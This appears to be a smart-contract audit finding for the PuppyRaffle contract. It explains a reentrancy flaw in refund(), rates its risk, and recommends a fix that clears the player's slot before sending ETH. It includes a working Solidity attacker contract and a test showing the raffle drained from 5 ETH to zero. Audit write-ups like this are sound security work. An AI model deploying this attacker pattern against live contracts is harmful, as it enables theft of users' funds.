Root + Impact
Description
refund() sends ETH to the player BEFORE clearing their slot in the players array. sendValue forwards all gas, so a malicious player contract can re-enter refund() from its receive() function and pass both require checks every time, because its slot is still non-zero. One attacker who entered with 1 ETH can drain the entire contract balance.
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Risk
Likelihood: High — any player can deploy the attacker contract and run this; no special privileges or timing needed.
Impact: High — the attacker drains the whole prize pool (all other players' entrance fees). PoC: 4 honest players (4 ETH) + attacker (1 ETH) = 5 ETH in the pot; a single refund() call leaves the contract at 0 and the attacker at 5 ETH.
Proof of Concept
contract ReentrancyAttacker {
PuppyRaffle public raffle;
uint256 public attackerIndex;
constructor(address _raffle) { raffle = PuppyRaffle(_raffle); }
function enter(uint256 index) external payable {
attackerIndex = index;
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: msg.value}(players);
}
function attack() external { raffle.refund(attackerIndex); }
receive() external payable {
if (address(raffle).balance >= 1 ether) {
raffle.refund(attackerIndex);
}
}
}
function test_H1_RefundReentrancyDrainsContract() public {
_enterPlayers(4, 100);
ReentrancyAttacker attacker = new ReentrancyAttacker(address(raffle));
attacker.enter{value: 1 ether}(4);
assertEq(address(raffle).balance, 5 ether);
attacker.attack();
assertEq(address(raffle).balance, 0, "contract should be fully drained");
assertEq(address(attacker).balance, 5 ether, "attacker entered 1 ETH, leaves with 5 ETH");
}
Recommended Mitigation
- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);